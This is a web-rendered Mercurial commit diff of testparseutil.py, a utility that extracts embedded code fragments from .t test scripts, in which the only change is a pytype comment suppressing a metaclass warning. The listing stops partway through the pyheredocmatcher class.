##// END OF EJS Templates
pytype: don't warn us about ignored-on-py3 metaclasses...
Augie Fackler -
r43775:70d42e2a default
parent child Browse files
Show More
@@ -1,670 +1,670 b''
1 # testparseutil.py - utilities to parse test script for check tools
1 # testparseutil.py - utilities to parse test script for check tools
2 #
2 #
3 # Copyright 2018 FUJIWARA Katsunori <foozy@lares.dti.ne.jp> and others
3 # Copyright 2018 FUJIWARA Katsunori <foozy@lares.dti.ne.jp> and others
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import, print_function
8 from __future__ import absolute_import, print_function
9
9
10 import abc
10 import abc
11 import re
11 import re
12 import sys
12 import sys
13
13
14 ####################
14 ####################
15 # for Python3 compatibility (almost comes from mercurial/pycompat.py)
15 # for Python3 compatibility (almost comes from mercurial/pycompat.py)
16
16
17 ispy3 = sys.version_info[0] >= 3
17 ispy3 = sys.version_info[0] >= 3
18
18
19
19
20 def identity(a):
20 def identity(a):
21 return a
21 return a
22
22
23
23
24 def _rapply(f, xs):
24 def _rapply(f, xs):
25 if xs is None:
25 if xs is None:
26 # assume None means non-value of optional data
26 # assume None means non-value of optional data
27 return xs
27 return xs
28 if isinstance(xs, (list, set, tuple)):
28 if isinstance(xs, (list, set, tuple)):
29 return type(xs)(_rapply(f, x) for x in xs)
29 return type(xs)(_rapply(f, x) for x in xs)
30 if isinstance(xs, dict):
30 if isinstance(xs, dict):
31 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
31 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
32 return f(xs)
32 return f(xs)
33
33
34
34
35 def rapply(f, xs):
35 def rapply(f, xs):
36 if f is identity:
36 if f is identity:
37 # fast path mainly for py2
37 # fast path mainly for py2
38 return xs
38 return xs
39 return _rapply(f, xs)
39 return _rapply(f, xs)
40
40
41
41
42 if ispy3:
42 if ispy3:
43 import builtins
43 import builtins
44
44
45 def bytestr(s):
45 def bytestr(s):
46 # tiny version of pycompat.bytestr
46 # tiny version of pycompat.bytestr
47 return s.encode('latin1')
47 return s.encode('latin1')
48
48
49 def sysstr(s):
49 def sysstr(s):
50 if isinstance(s, builtins.str):
50 if isinstance(s, builtins.str):
51 return s
51 return s
52 return s.decode('latin-1')
52 return s.decode('latin-1')
53
53
54 def opentext(f):
54 def opentext(f):
55 return open(f, 'r')
55 return open(f, 'r')
56
56
57
57
58 else:
58 else:
59 bytestr = str
59 bytestr = str
60 sysstr = identity
60 sysstr = identity
61
61
62 opentext = open
62 opentext = open
63
63
64
64
65 def b2s(x):
65 def b2s(x):
66 # convert BYTES elements in "x" to SYSSTR recursively
66 # convert BYTES elements in "x" to SYSSTR recursively
67 return rapply(sysstr, x)
67 return rapply(sysstr, x)
68
68
69
69
70 def writeout(data):
70 def writeout(data):
71 # write "data" in BYTES into stdout
71 # write "data" in BYTES into stdout
72 sys.stdout.write(data)
72 sys.stdout.write(data)
73
73
74
74
75 def writeerr(data):
75 def writeerr(data):
76 # write "data" in BYTES into stderr
76 # write "data" in BYTES into stderr
77 sys.stderr.write(data)
77 sys.stderr.write(data)
78
78
79
79
80 ####################
80 ####################
81
81
82
82
83 class embeddedmatcher(object):
83 class embeddedmatcher(object): # pytype: disable=ignored-metaclass
84 """Base class to detect embedded code fragments in *.t test script
84 """Base class to detect embedded code fragments in *.t test script
85 """
85 """
86
86
87 __metaclass__ = abc.ABCMeta
87 __metaclass__ = abc.ABCMeta
88
88
89 def __init__(self, desc):
89 def __init__(self, desc):
90 self.desc = desc
90 self.desc = desc
91
91
92 @abc.abstractmethod
92 @abc.abstractmethod
93 def startsat(self, line):
93 def startsat(self, line):
94 """Examine whether embedded code starts at line
94 """Examine whether embedded code starts at line
95
95
96 This can return arbitrary object, and it is used as 'ctx' for
96 This can return arbitrary object, and it is used as 'ctx' for
97 subsequent method invocations.
97 subsequent method invocations.
98 """
98 """
99
99
100 @abc.abstractmethod
100 @abc.abstractmethod
101 def endsat(self, ctx, line):
101 def endsat(self, ctx, line):
102 """Examine whether embedded code ends at line"""
102 """Examine whether embedded code ends at line"""
103
103
104 @abc.abstractmethod
104 @abc.abstractmethod
105 def isinside(self, ctx, line):
105 def isinside(self, ctx, line):
106 """Examine whether line is inside embedded code, if not yet endsat
106 """Examine whether line is inside embedded code, if not yet endsat
107 """
107 """
108
108
109 @abc.abstractmethod
109 @abc.abstractmethod
110 def ignores(self, ctx):
110 def ignores(self, ctx):
111 """Examine whether detected embedded code should be ignored"""
111 """Examine whether detected embedded code should be ignored"""
112
112
113 @abc.abstractmethod
113 @abc.abstractmethod
114 def filename(self, ctx):
114 def filename(self, ctx):
115 """Return filename of embedded code
115 """Return filename of embedded code
116
116
117 If filename isn't specified for embedded code explicitly, this
117 If filename isn't specified for embedded code explicitly, this
118 returns None.
118 returns None.
119 """
119 """
120
120
121 @abc.abstractmethod
121 @abc.abstractmethod
122 def codeatstart(self, ctx, line):
122 def codeatstart(self, ctx, line):
123 """Return actual code at the start line of embedded code
123 """Return actual code at the start line of embedded code
124
124
125 This might return None, if the start line doesn't contain
125 This might return None, if the start line doesn't contain
126 actual code.
126 actual code.
127 """
127 """
128
128
129 @abc.abstractmethod
129 @abc.abstractmethod
130 def codeatend(self, ctx, line):
130 def codeatend(self, ctx, line):
131 """Return actual code at the end line of embedded code
131 """Return actual code at the end line of embedded code
132
132
133 This might return None, if the end line doesn't contain actual
133 This might return None, if the end line doesn't contain actual
134 code.
134 code.
135 """
135 """
136
136
137 @abc.abstractmethod
137 @abc.abstractmethod
138 def codeinside(self, ctx, line):
138 def codeinside(self, ctx, line):
139 """Return actual code at line inside embedded code"""
139 """Return actual code at line inside embedded code"""
140
140
141
141
142 def embedded(basefile, lines, errors, matchers):
142 def embedded(basefile, lines, errors, matchers):
143 """pick embedded code fragments up from given lines
143 """pick embedded code fragments up from given lines
144
144
145 This is common parsing logic, which examines specified matchers on
145 This is common parsing logic, which examines specified matchers on
146 given lines.
146 given lines.
147
147
148 :basefile: a name of a file, from which lines to be parsed come.
148 :basefile: a name of a file, from which lines to be parsed come.
149 :lines: to be parsed (might be a value returned by "open(basefile)")
149 :lines: to be parsed (might be a value returned by "open(basefile)")
150 :errors: an array, into which messages for detected error are stored
150 :errors: an array, into which messages for detected error are stored
151 :matchers: an array of embeddedmatcher objects
151 :matchers: an array of embeddedmatcher objects
152
152
153 This function yields '(filename, starts, ends, code)' tuple.
153 This function yields '(filename, starts, ends, code)' tuple.
154
154
155 :filename: a name of embedded code, if it is explicitly specified
155 :filename: a name of embedded code, if it is explicitly specified
156 (e.g. "foobar" of "cat >> foobar <<EOF").
156 (e.g. "foobar" of "cat >> foobar <<EOF").
157 Otherwise, this is None
157 Otherwise, this is None
158 :starts: line number (1-origin), at which embedded code starts (inclusive)
158 :starts: line number (1-origin), at which embedded code starts (inclusive)
159 :ends: line number (1-origin), at which embedded code ends (exclusive)
159 :ends: line number (1-origin), at which embedded code ends (exclusive)
160 :code: extracted embedded code, which is single-stringified
160 :code: extracted embedded code, which is single-stringified
161
161
162 >>> class ambigmatcher(object):
162 >>> class ambigmatcher(object):
163 ... # mock matcher class to examine implementation of
163 ... # mock matcher class to examine implementation of
164 ... # "ambiguous matching" corner case
164 ... # "ambiguous matching" corner case
165 ... def __init__(self, desc, matchfunc):
165 ... def __init__(self, desc, matchfunc):
166 ... self.desc = desc
166 ... self.desc = desc
167 ... self.matchfunc = matchfunc
167 ... self.matchfunc = matchfunc
168 ... def startsat(self, line):
168 ... def startsat(self, line):
169 ... return self.matchfunc(line)
169 ... return self.matchfunc(line)
170 >>> ambig1 = ambigmatcher('ambiguous #1',
170 >>> ambig1 = ambigmatcher('ambiguous #1',
171 ... lambda l: l.startswith(' $ cat '))
171 ... lambda l: l.startswith(' $ cat '))
172 >>> ambig2 = ambigmatcher('ambiguous #2',
172 >>> ambig2 = ambigmatcher('ambiguous #2',
173 ... lambda l: l.endswith('<< EOF\\n'))
173 ... lambda l: l.endswith('<< EOF\\n'))
174 >>> lines = [' $ cat > foo.py << EOF\\n']
174 >>> lines = [' $ cat > foo.py << EOF\\n']
175 >>> errors = []
175 >>> errors = []
176 >>> matchers = [ambig1, ambig2]
176 >>> matchers = [ambig1, ambig2]
177 >>> list(t for t in embedded('<dummy>', lines, errors, matchers))
177 >>> list(t for t in embedded('<dummy>', lines, errors, matchers))
178 []
178 []
179 >>> b2s(errors)
179 >>> b2s(errors)
180 ['<dummy>:1: ambiguous line for "ambiguous #1", "ambiguous #2"']
180 ['<dummy>:1: ambiguous line for "ambiguous #1", "ambiguous #2"']
181
181
182 """
182 """
183 matcher = None
183 matcher = None
184 ctx = filename = code = startline = None # for pyflakes
184 ctx = filename = code = startline = None # for pyflakes
185
185
186 for lineno, line in enumerate(lines, 1):
186 for lineno, line in enumerate(lines, 1):
187 if not line.endswith('\n'):
187 if not line.endswith('\n'):
188 line += '\n' # to normalize EOF line
188 line += '\n' # to normalize EOF line
189 if matcher: # now, inside embedded code
189 if matcher: # now, inside embedded code
190 if matcher.endsat(ctx, line):
190 if matcher.endsat(ctx, line):
191 codeatend = matcher.codeatend(ctx, line)
191 codeatend = matcher.codeatend(ctx, line)
192 if codeatend is not None:
192 if codeatend is not None:
193 code.append(codeatend)
193 code.append(codeatend)
194 if not matcher.ignores(ctx):
194 if not matcher.ignores(ctx):
195 yield (filename, startline, lineno, ''.join(code))
195 yield (filename, startline, lineno, ''.join(code))
196 matcher = None
196 matcher = None
197 # DO NOT "continue", because line might start next fragment
197 # DO NOT "continue", because line might start next fragment
198 elif not matcher.isinside(ctx, line):
198 elif not matcher.isinside(ctx, line):
199 # this is an error of basefile
199 # this is an error of basefile
200 # (if matchers are implemented correctly)
200 # (if matchers are implemented correctly)
201 errors.append(
201 errors.append(
202 '%s:%d: unexpected line for "%s"'
202 '%s:%d: unexpected line for "%s"'
203 % (basefile, lineno, matcher.desc)
203 % (basefile, lineno, matcher.desc)
204 )
204 )
205 # stop extracting embedded code by current 'matcher',
205 # stop extracting embedded code by current 'matcher',
206 # because appearance of unexpected line might mean
206 # because appearance of unexpected line might mean
207 # that expected end-of-embedded-code line might never
207 # that expected end-of-embedded-code line might never
208 # appear
208 # appear
209 matcher = None
209 matcher = None
210 # DO NOT "continue", because line might start next fragment
210 # DO NOT "continue", because line might start next fragment
211 else:
211 else:
212 code.append(matcher.codeinside(ctx, line))
212 code.append(matcher.codeinside(ctx, line))
213 continue
213 continue
214
214
215 # examine whether current line starts embedded code or not
215 # examine whether current line starts embedded code or not
216 assert not matcher
216 assert not matcher
217
217
218 matched = []
218 matched = []
219 for m in matchers:
219 for m in matchers:
220 ctx = m.startsat(line)
220 ctx = m.startsat(line)
221 if ctx:
221 if ctx:
222 matched.append((m, ctx))
222 matched.append((m, ctx))
223 if matched:
223 if matched:
224 if len(matched) > 1:
224 if len(matched) > 1:
225 # this is an error of matchers, maybe
225 # this is an error of matchers, maybe
226 errors.append(
226 errors.append(
227 '%s:%d: ambiguous line for %s'
227 '%s:%d: ambiguous line for %s'
228 % (
228 % (
229 basefile,
229 basefile,
230 lineno,
230 lineno,
231 ', '.join(['"%s"' % m.desc for m, c in matched]),
231 ', '.join(['"%s"' % m.desc for m, c in matched]),
232 )
232 )
233 )
233 )
234 # omit extracting embedded code, because choosing
234 # omit extracting embedded code, because choosing
235 # arbitrary matcher from matched ones might fail to
235 # arbitrary matcher from matched ones might fail to
236 # detect the end of embedded code as expected.
236 # detect the end of embedded code as expected.
237 continue
237 continue
238 matcher, ctx = matched[0]
238 matcher, ctx = matched[0]
239 filename = matcher.filename(ctx)
239 filename = matcher.filename(ctx)
240 code = []
240 code = []
241 codeatstart = matcher.codeatstart(ctx, line)
241 codeatstart = matcher.codeatstart(ctx, line)
242 if codeatstart is not None:
242 if codeatstart is not None:
243 code.append(codeatstart)
243 code.append(codeatstart)
244 startline = lineno
244 startline = lineno
245 else:
245 else:
246 startline = lineno + 1
246 startline = lineno + 1
247
247
248 if matcher:
248 if matcher:
249 # examine whether EOF ends embedded code, because embedded
249 # examine whether EOF ends embedded code, because embedded
250 # code isn't yet ended explicitly
250 # code isn't yet ended explicitly
251 if matcher.endsat(ctx, '\n'):
251 if matcher.endsat(ctx, '\n'):
252 codeatend = matcher.codeatend(ctx, '\n')
252 codeatend = matcher.codeatend(ctx, '\n')
253 if codeatend is not None:
253 if codeatend is not None:
254 code.append(codeatend)
254 code.append(codeatend)
255 if not matcher.ignores(ctx):
255 if not matcher.ignores(ctx):
256 yield (filename, startline, lineno + 1, ''.join(code))
256 yield (filename, startline, lineno + 1, ''.join(code))
257 else:
257 else:
258 # this is an error of basefile
258 # this is an error of basefile
259 # (if matchers are implemented correctly)
259 # (if matchers are implemented correctly)
260 errors.append(
260 errors.append(
261 '%s:%d: unexpected end of file for "%s"'
261 '%s:%d: unexpected end of file for "%s"'
262 % (basefile, lineno, matcher.desc)
262 % (basefile, lineno, matcher.desc)
263 )
263 )
264
264
265
265
266 # heredoc limit mark to ignore embedded code at check-code.py or so
266 # heredoc limit mark to ignore embedded code at check-code.py or so
267 heredocignorelimit = 'NO_CHECK_EOF'
267 heredocignorelimit = 'NO_CHECK_EOF'
268
268
269 # the pattern to match against cases below, and to return a limit mark
269 # the pattern to match against cases below, and to return a limit mark
270 # string as 'lname' group
270 # string as 'lname' group
271 #
271 #
272 # - << LIMITMARK
272 # - << LIMITMARK
273 # - << "LIMITMARK"
273 # - << "LIMITMARK"
274 # - << 'LIMITMARK'
274 # - << 'LIMITMARK'
275 heredoclimitpat = r'\s*<<\s*(?P<lquote>["\']?)(?P<limit>\w+)(?P=lquote)'
275 heredoclimitpat = r'\s*<<\s*(?P<lquote>["\']?)(?P<limit>\w+)(?P=lquote)'
276
276
277
277
278 class fileheredocmatcher(embeddedmatcher):
278 class fileheredocmatcher(embeddedmatcher):
279 """Detect "cat > FILE << LIMIT" style embedded code
279 """Detect "cat > FILE << LIMIT" style embedded code
280
280
281 >>> matcher = fileheredocmatcher('heredoc .py file', r'[^<]+\\.py')
281 >>> matcher = fileheredocmatcher('heredoc .py file', r'[^<]+\\.py')
282 >>> b2s(matcher.startsat(' $ cat > file.py << EOF\\n'))
282 >>> b2s(matcher.startsat(' $ cat > file.py << EOF\\n'))
283 ('file.py', ' > EOF\\n')
283 ('file.py', ' > EOF\\n')
284 >>> b2s(matcher.startsat(' $ cat >>file.py <<EOF\\n'))
284 >>> b2s(matcher.startsat(' $ cat >>file.py <<EOF\\n'))
285 ('file.py', ' > EOF\\n')
285 ('file.py', ' > EOF\\n')
286 >>> b2s(matcher.startsat(' $ cat> \\x27any file.py\\x27<< "EOF"\\n'))
286 >>> b2s(matcher.startsat(' $ cat> \\x27any file.py\\x27<< "EOF"\\n'))
287 ('any file.py', ' > EOF\\n')
287 ('any file.py', ' > EOF\\n')
288 >>> b2s(matcher.startsat(" $ cat > file.py << 'ANYLIMIT'\\n"))
288 >>> b2s(matcher.startsat(" $ cat > file.py << 'ANYLIMIT'\\n"))
289 ('file.py', ' > ANYLIMIT\\n')
289 ('file.py', ' > ANYLIMIT\\n')
290 >>> b2s(matcher.startsat(' $ cat<<ANYLIMIT>"file.py"\\n'))
290 >>> b2s(matcher.startsat(' $ cat<<ANYLIMIT>"file.py"\\n'))
291 ('file.py', ' > ANYLIMIT\\n')
291 ('file.py', ' > ANYLIMIT\\n')
292 >>> start = ' $ cat > file.py << EOF\\n'
292 >>> start = ' $ cat > file.py << EOF\\n'
293 >>> ctx = matcher.startsat(start)
293 >>> ctx = matcher.startsat(start)
294 >>> matcher.codeatstart(ctx, start)
294 >>> matcher.codeatstart(ctx, start)
295 >>> b2s(matcher.filename(ctx))
295 >>> b2s(matcher.filename(ctx))
296 'file.py'
296 'file.py'
297 >>> matcher.ignores(ctx)
297 >>> matcher.ignores(ctx)
298 False
298 False
299 >>> inside = ' > foo = 1\\n'
299 >>> inside = ' > foo = 1\\n'
300 >>> matcher.endsat(ctx, inside)
300 >>> matcher.endsat(ctx, inside)
301 False
301 False
302 >>> matcher.isinside(ctx, inside)
302 >>> matcher.isinside(ctx, inside)
303 True
303 True
304 >>> b2s(matcher.codeinside(ctx, inside))
304 >>> b2s(matcher.codeinside(ctx, inside))
305 'foo = 1\\n'
305 'foo = 1\\n'
306 >>> end = ' > EOF\\n'
306 >>> end = ' > EOF\\n'
307 >>> matcher.endsat(ctx, end)
307 >>> matcher.endsat(ctx, end)
308 True
308 True
309 >>> matcher.codeatend(ctx, end)
309 >>> matcher.codeatend(ctx, end)
310 >>> matcher.endsat(ctx, ' > EOFEOF\\n')
310 >>> matcher.endsat(ctx, ' > EOFEOF\\n')
311 False
311 False
312 >>> ctx = matcher.startsat(' $ cat > file.py << NO_CHECK_EOF\\n')
312 >>> ctx = matcher.startsat(' $ cat > file.py << NO_CHECK_EOF\\n')
313 >>> matcher.ignores(ctx)
313 >>> matcher.ignores(ctx)
314 True
314 True
315 """
315 """
316
316
317 _prefix = ' > '
317 _prefix = ' > '
318
318
319 def __init__(self, desc, namepat):
319 def __init__(self, desc, namepat):
320 super(fileheredocmatcher, self).__init__(desc)
320 super(fileheredocmatcher, self).__init__(desc)
321
321
322 # build the pattern to match against cases below (and ">>"
322 # build the pattern to match against cases below (and ">>"
323 # variants), and to return a target filename string as 'name'
323 # variants), and to return a target filename string as 'name'
324 # group
324 # group
325 #
325 #
326 # - > NAMEPAT
326 # - > NAMEPAT
327 # - > "NAMEPAT"
327 # - > "NAMEPAT"
328 # - > 'NAMEPAT'
328 # - > 'NAMEPAT'
329 namepat = (
329 namepat = (
330 r'\s*>>?\s*(?P<nquote>["\']?)(?P<name>%s)(?P=nquote)' % namepat
330 r'\s*>>?\s*(?P<nquote>["\']?)(?P<name>%s)(?P=nquote)' % namepat
331 )
331 )
332 self._fileres = [
332 self._fileres = [
333 # "cat > NAME << LIMIT" case
333 # "cat > NAME << LIMIT" case
334 re.compile(r' \$ \s*cat' + namepat + heredoclimitpat),
334 re.compile(r' \$ \s*cat' + namepat + heredoclimitpat),
335 # "cat << LIMIT > NAME" case
335 # "cat << LIMIT > NAME" case
336 re.compile(r' \$ \s*cat' + heredoclimitpat + namepat),
336 re.compile(r' \$ \s*cat' + heredoclimitpat + namepat),
337 ]
337 ]
338
338
339 def startsat(self, line):
339 def startsat(self, line):
340 # ctx is (filename, END-LINE-OF-EMBEDDED-CODE) tuple
340 # ctx is (filename, END-LINE-OF-EMBEDDED-CODE) tuple
341 for filere in self._fileres:
341 for filere in self._fileres:
342 matched = filere.match(line)
342 matched = filere.match(line)
343 if matched:
343 if matched:
344 return (
344 return (
345 matched.group('name'),
345 matched.group('name'),
346 ' > %s\n' % matched.group('limit'),
346 ' > %s\n' % matched.group('limit'),
347 )
347 )
348
348
349 def endsat(self, ctx, line):
349 def endsat(self, ctx, line):
350 return ctx[1] == line
350 return ctx[1] == line
351
351
352 def isinside(self, ctx, line):
352 def isinside(self, ctx, line):
353 return line.startswith(self._prefix)
353 return line.startswith(self._prefix)
354
354
355 def ignores(self, ctx):
355 def ignores(self, ctx):
356 return ' > %s\n' % heredocignorelimit == ctx[1]
356 return ' > %s\n' % heredocignorelimit == ctx[1]
357
357
358 def filename(self, ctx):
358 def filename(self, ctx):
359 return ctx[0]
359 return ctx[0]
360
360
361 def codeatstart(self, ctx, line):
361 def codeatstart(self, ctx, line):
362 return None # no embedded code at start line
362 return None # no embedded code at start line
363
363
364 def codeatend(self, ctx, line):
364 def codeatend(self, ctx, line):
365 return None # no embedded code at end line
365 return None # no embedded code at end line
366
366
367 def codeinside(self, ctx, line):
367 def codeinside(self, ctx, line):
368 return line[len(self._prefix) :] # strip prefix
368 return line[len(self._prefix) :] # strip prefix
369
369
370
370
371 ####
371 ####
372 # for embedded python script
372 # for embedded python script
373
373
374
374
375 class pydoctestmatcher(embeddedmatcher):
375 class pydoctestmatcher(embeddedmatcher):
376 """Detect ">>> code" style embedded python code
376 """Detect ">>> code" style embedded python code
377
377
378 >>> matcher = pydoctestmatcher()
378 >>> matcher = pydoctestmatcher()
379 >>> startline = ' >>> foo = 1\\n'
379 >>> startline = ' >>> foo = 1\\n'
380 >>> matcher.startsat(startline)
380 >>> matcher.startsat(startline)
381 True
381 True
382 >>> matcher.startsat(' ... foo = 1\\n')
382 >>> matcher.startsat(' ... foo = 1\\n')
383 False
383 False
384 >>> ctx = matcher.startsat(startline)
384 >>> ctx = matcher.startsat(startline)
385 >>> matcher.filename(ctx)
385 >>> matcher.filename(ctx)
386 >>> matcher.ignores(ctx)
386 >>> matcher.ignores(ctx)
387 False
387 False
388 >>> b2s(matcher.codeatstart(ctx, startline))
388 >>> b2s(matcher.codeatstart(ctx, startline))
389 'foo = 1\\n'
389 'foo = 1\\n'
390 >>> inside = ' >>> foo = 1\\n'
390 >>> inside = ' >>> foo = 1\\n'
391 >>> matcher.endsat(ctx, inside)
391 >>> matcher.endsat(ctx, inside)
392 False
392 False
393 >>> matcher.isinside(ctx, inside)
393 >>> matcher.isinside(ctx, inside)
394 True
394 True
395 >>> b2s(matcher.codeinside(ctx, inside))
395 >>> b2s(matcher.codeinside(ctx, inside))
396 'foo = 1\\n'
396 'foo = 1\\n'
397 >>> inside = ' ... foo = 1\\n'
397 >>> inside = ' ... foo = 1\\n'
398 >>> matcher.endsat(ctx, inside)
398 >>> matcher.endsat(ctx, inside)
399 False
399 False
400 >>> matcher.isinside(ctx, inside)
400 >>> matcher.isinside(ctx, inside)
401 True
401 True
402 >>> b2s(matcher.codeinside(ctx, inside))
402 >>> b2s(matcher.codeinside(ctx, inside))
403 'foo = 1\\n'
403 'foo = 1\\n'
404 >>> inside = ' expected output\\n'
404 >>> inside = ' expected output\\n'
405 >>> matcher.endsat(ctx, inside)
405 >>> matcher.endsat(ctx, inside)
406 False
406 False
407 >>> matcher.isinside(ctx, inside)
407 >>> matcher.isinside(ctx, inside)
408 True
408 True
409 >>> b2s(matcher.codeinside(ctx, inside))
409 >>> b2s(matcher.codeinside(ctx, inside))
410 '\\n'
410 '\\n'
411 >>> inside = ' \\n'
411 >>> inside = ' \\n'
412 >>> matcher.endsat(ctx, inside)
412 >>> matcher.endsat(ctx, inside)
413 False
413 False
414 >>> matcher.isinside(ctx, inside)
414 >>> matcher.isinside(ctx, inside)
415 True
415 True
416 >>> b2s(matcher.codeinside(ctx, inside))
416 >>> b2s(matcher.codeinside(ctx, inside))
417 '\\n'
417 '\\n'
418 >>> end = ' $ foo bar\\n'
418 >>> end = ' $ foo bar\\n'
419 >>> matcher.endsat(ctx, end)
419 >>> matcher.endsat(ctx, end)
420 True
420 True
421 >>> matcher.codeatend(ctx, end)
421 >>> matcher.codeatend(ctx, end)
422 >>> end = '\\n'
422 >>> end = '\\n'
423 >>> matcher.endsat(ctx, end)
423 >>> matcher.endsat(ctx, end)
424 True
424 True
425 >>> matcher.codeatend(ctx, end)
425 >>> matcher.codeatend(ctx, end)
426 """
426 """
427
427
428 _prefix = ' >>> '
428 _prefix = ' >>> '
429 _prefixre = re.compile(r' (>>>|\.\.\.) ')
429 _prefixre = re.compile(r' (>>>|\.\.\.) ')
430
430
431 # If a line matches against not _prefixre but _outputre, that line
431 # If a line matches against not _prefixre but _outputre, that line
432 # is "an expected output line" (= not a part of code fragment).
432 # is "an expected output line" (= not a part of code fragment).
433 #
433 #
434 # Strictly speaking, a line matching against "(#if|#else|#endif)"
434 # Strictly speaking, a line matching against "(#if|#else|#endif)"
435 # is also treated similarly in "inline python code" semantics by
435 # is also treated similarly in "inline python code" semantics by
436 # run-tests.py. But "directive line inside inline python code"
436 # run-tests.py. But "directive line inside inline python code"
437 # should be rejected by Mercurial reviewers. Therefore, this
437 # should be rejected by Mercurial reviewers. Therefore, this
438 # regexp does not matche against such directive lines.
438 # regexp does not matche against such directive lines.
439 _outputre = re.compile(r' $| [^$]')
439 _outputre = re.compile(r' $| [^$]')
440
440
441 def __init__(self):
441 def __init__(self):
442 super(pydoctestmatcher, self).__init__("doctest style python code")
442 super(pydoctestmatcher, self).__init__("doctest style python code")
443
443
444 def startsat(self, line):
444 def startsat(self, line):
445 # ctx is "True"
445 # ctx is "True"
446 return line.startswith(self._prefix)
446 return line.startswith(self._prefix)
447
447
448 def endsat(self, ctx, line):
448 def endsat(self, ctx, line):
449 return not (self._prefixre.match(line) or self._outputre.match(line))
449 return not (self._prefixre.match(line) or self._outputre.match(line))
450
450
451 def isinside(self, ctx, line):
451 def isinside(self, ctx, line):
452 return True # always true, if not yet ended
452 return True # always true, if not yet ended
453
453
454 def ignores(self, ctx):
454 def ignores(self, ctx):
455 return False # should be checked always
455 return False # should be checked always
456
456
457 def filename(self, ctx):
457 def filename(self, ctx):
458 return None # no filename
458 return None # no filename
459
459
460 def codeatstart(self, ctx, line):
460 def codeatstart(self, ctx, line):
461 return line[len(self._prefix) :] # strip prefix ' >>> '/' ... '
461 return line[len(self._prefix) :] # strip prefix ' >>> '/' ... '
462
462
463 def codeatend(self, ctx, line):
463 def codeatend(self, ctx, line):
464 return None # no embedded code at end line
464 return None # no embedded code at end line
465
465
466 def codeinside(self, ctx, line):
466 def codeinside(self, ctx, line):
467 if self._prefixre.match(line):
467 if self._prefixre.match(line):
468 return line[len(self._prefix) :] # strip prefix ' >>> '/' ... '
468 return line[len(self._prefix) :] # strip prefix ' >>> '/' ... '
469 return '\n' # an expected output line is treated as an empty line
469 return '\n' # an expected output line is treated as an empty line
470
470
471
471
472 class pyheredocmatcher(embeddedmatcher):
472 class pyheredocmatcher(embeddedmatcher):
473 """Detect "python << LIMIT" style embedded python code
473 """Detect "python << LIMIT" style embedded python code
474
474
475 >>> matcher = pyheredocmatcher()
475 >>> matcher = pyheredocmatcher()
476 >>> b2s(matcher.startsat(' $ python << EOF\\n'))
476 >>> b2s(matcher.startsat(' $ python << EOF\\n'))
477 ' > EOF\\n'
477 ' > EOF\\n'
478 >>> b2s(matcher.startsat(' $ $PYTHON <<EOF\\n'))
478 >>> b2s(matcher.startsat(' $ $PYTHON <<EOF\\n'))
479 ' > EOF\\n'
479 ' > EOF\\n'
480 >>> b2s(matcher.startsat(' $ "$PYTHON"<< "EOF"\\n'))
480 >>> b2s(matcher.startsat(' $ "$PYTHON"<< "EOF"\\n'))
481 ' > EOF\\n'
481 ' > EOF\\n'
482 >>> b2s(matcher.startsat(" $ $PYTHON << 'ANYLIMIT'\\n"))
482 >>> b2s(matcher.startsat(" $ $PYTHON << 'ANYLIMIT'\\n"))
483 ' > ANYLIMIT\\n'
483 ' > ANYLIMIT\\n'
484 >>> matcher.startsat(' $ "$PYTHON" < EOF\\n')
484 >>> matcher.startsat(' $ "$PYTHON" < EOF\\n')
485 >>> start = ' $ python << EOF\\n'
485 >>> start = ' $ python << EOF\\n'
486 >>> ctx = matcher.startsat(start)
486 >>> ctx = matcher.startsat(start)
487 >>> matcher.codeatstart(ctx, start)
487 >>> matcher.codeatstart(ctx, start)
488 >>> matcher.filename(ctx)
488 >>> matcher.filename(ctx)
489 >>> matcher.ignores(ctx)
489 >>> matcher.ignores(ctx)
490 False
490 False
491 >>> inside = ' > foo = 1\\n'
491 >>> inside = ' > foo = 1\\n'
492 >>> matcher.endsat(ctx, inside)
492 >>> matcher.endsat(ctx, inside)
493 False
493 False
494 >>> matcher.isinside(ctx, inside)
494 >>> matcher.isinside(ctx, inside)
495 True
495 True
496 >>> b2s(matcher.codeinside(ctx, inside))
496 >>> b2s(matcher.codeinside(ctx, inside))
497 'foo = 1\\n'
497 'foo = 1\\n'
498 >>> end = ' > EOF\\n'
498 >>> end = ' > EOF\\n'
499 >>> matcher.endsat(ctx, end)
499 >>> matcher.endsat(ctx, end)
500 True
500 True
501 >>> matcher.codeatend(ctx, end)
501 >>> matcher.codeatend(ctx, end)
502 >>> matcher.endsat(ctx, ' > EOFEOF\\n')
502 >>> matcher.endsat(ctx, ' > EOFEOF\\n')
503 False
503 False
504 >>> ctx = matcher.startsat(' $ python << NO_CHECK_EOF\\n')
504 >>> ctx = matcher.startsat(' $ python << NO_CHECK_EOF\\n')
505 >>> matcher.ignores(ctx)
505 >>> matcher.ignores(ctx)
506 True
506 True
507 """
507 """
508
508
509 _prefix = ' > '
509 _prefix = ' > '
510
510
511 _startre = re.compile(
511 _startre = re.compile(
512 r' \$ (\$PYTHON|"\$PYTHON"|python).*' + heredoclimitpat
512 r' \$ (\$PYTHON|"\$PYTHON"|python).*' + heredoclimitpat
513 )
513 )
514
514
515 def __init__(self):
515 def __init__(self):
516 super(pyheredocmatcher, self).__init__("heredoc python invocation")
516 super(pyheredocmatcher, self).__init__("heredoc python invocation")
517
517
518 def startsat(self, line):
518 def startsat(self, line):
519 # ctx is END-LINE-OF-EMBEDDED-CODE
519 # ctx is END-LINE-OF-EMBEDDED-CODE
520 matched = self._startre.match(line)
520 matched = self._startre.match(line)
521 if matched:
521 if matched:
522 return ' > %s\n' % matched.group('limit')
522 return ' > %s\n' % matched.group('limit')
523
523
524 def endsat(self, ctx, line):
524 def endsat(self, ctx, line):
525 return ctx == line
525 return ctx == line
526
526
527 def isinside(self, ctx, line):
527 def isinside(self, ctx, line):
528 return line.startswith(self._prefix)
528 return line.startswith(self._prefix)
529
529
530 def ignores(self, ctx):
530 def ignores(self, ctx):
531 return ' > %s\n' % heredocignorelimit == ctx
531 return ' > %s\n' % heredocignorelimit == ctx
532
532
533 def filename(self, ctx):
533 def filename(self, ctx):
534 return None # no filename
534 return None # no filename
535
535
536 def codeatstart(self, ctx, line):
536 def codeatstart(self, ctx, line):
537 return None # no embedded code at start line
537 return None # no embedded code at start line
538
538
539 def codeatend(self, ctx, line):
